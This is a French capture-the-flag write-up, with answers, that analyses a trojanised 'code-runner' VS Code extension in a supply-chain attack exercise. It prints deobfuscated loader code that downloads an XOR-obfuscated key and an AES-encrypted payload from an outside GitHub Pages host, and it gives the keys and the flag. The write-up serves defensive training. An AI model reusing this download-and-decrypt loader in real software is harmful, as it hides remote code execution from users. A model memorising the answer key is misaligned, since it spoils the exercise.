Attaque sur la supply chain logicielle

Hong J.,Okou A.,SAUVAGE N.

← Attaque sur la supply chain logicielle · La confiance empoisonnée / Malware.vsix / Les empreintes système / KeePass.exe

Malware.vsix

Analyse d’une extension compromise et de son impact sur le processus de build.

Suite à la récupération de l’extension infectée, vous êtes désormais chargé d’analyser cette version compromise. Votre objectif est de déterminer si cette extension contient une charge malveillante et de reconstituer les étapes ayant permis à celle-ci de s’intégrer au processus de build. Vos conclusions permettront d’identifier les risques potentiels pour la chaîne de production et de renforcer la sécurité de l’environnement.

Cote 23 pts

Indices

Le code de l’extension est volontairement obfusqué. Essayez un outil comme https://deobfuscate.relative.im/ pour le rendre plus lisible.

Faire son rapport

Guide de l'exercice 2

Structure de l'exercice 2

Exploration du plugin

  1. Quel est son nom et sa version ?

Après le téléchargement de l’extension .vsix, le participant doit la renommer en .zip afin de pouvoir extraire son contenu et l’analyser. Le fichier extension.vsixmanifest révèle que le plugin modifié utilisé pour infecter la chaîne de production est code-runner version 0.12.2.

La réponse attendue est donc :
code-runner0.12.2

Arborescence du plugin

Fichier clé

Localisation de la charge malveillante

  1. Où est localisé la charge malveillante ?

Dans le dossier extension/out/src, on trouve le fichier extension.js. Ce dernier est obfusqué et n’est donc pas lisible dans son état actuel.

fichier obfusqué

Pour accéder à son contenu, il faut donc utiliser un désobfuscateur

on remarque alors deux liens :

https://pluginvsrunner.github.io/code-runner/plugin.ico
https://pluginvsrunner.github.io/code-runner/icon.png

Si, avec le code désobfusqué, on renomme les variables, on peut alors essayer de deviner ce qui se passe :

code 1

code 2

On constate alors que le fichier plugin.ico est en fait une clé permettant de déchiffrer le fichier icon.png, qui contient en réalité le code malveillant.

La réponse attendue est donc :

https://pluginvsrunner.github.io/code-runner/icon.png

Clé de déchiffrement de la charge malveillante

  1. Comment obtenir la clé de déchiffrement et quelle est sa valeur ?

Ici, il suffit de recréer la fonction qui va reconstruire cette clé à partir du fichier plugin.ico.

code 4

code 5

code 6

En renommant les variables on obtient le code suivant :

function xor(data, key) {
    const keyBuf = Buffer.from(key, "utf8");
    const out = Buffer.alloc(data.length);
    for (let i = 0; i < data.length; i++) {
        out[i] = data[i] ^ keyBuf[i % keyBuf.length];
    }
    return out;
}

function load(remotePath, xorKey) {
    return new Promise(async (resolve, reject) => {
        const tmp = path.join(os.tmpdir(), "aes.key.enc");
        try {
            await download(remotePath, tmp);
            const raw = fs.readFileSync(tmp);
            const decrypted = xor(raw, xorKey).toString("utf8").trim();
            resolve(decrypted);
        }
        catch (e) {
        }
    });
}

const AES_KEY_B64 = await load(
    "https://pluginvsrunner.github.io/code-runner/plugin.ico",
  "wIthOut_1t_w0ulD_b3_t0o_eA1y"
);

Il suffit maintenant d’appliquer ce code sur le fichier récupéré pour obtenir la clé suivante :
CspEgjNeVnaFO7Wl4QpqZsR9lrgN6oFkLAeGq62L01E=

Trouver le flag dans la charge active

  1. Quelle est la valeur du flag et comment le révéler ?

Une fois la clé en notre possession, il suffit de télécharger le fichier suivant :
icon.png
et de le déchiffrer en utilisant aes-256-gcm.

clé de chiffrement

On obtient alors un fichier obfusqué qui, une fois désobfusqué, nous donne des informations importantes.

fonction importante

En lisant le code, on remarque qu’il n’y a pas de charge active : la personne malveillante a dû enlever le code après avoir vu que l’attaque avait été détectée.

On observe cependant une chaîne de caractères intrigante ressemblant à un message chiffré. On peut donc utiliser cyberchef pour décoder le message.

drapeau en clair

On obtient alors le flag; le reste du code était factice.
FLAG{y0U_4rR1v3d_t0o_l4t3}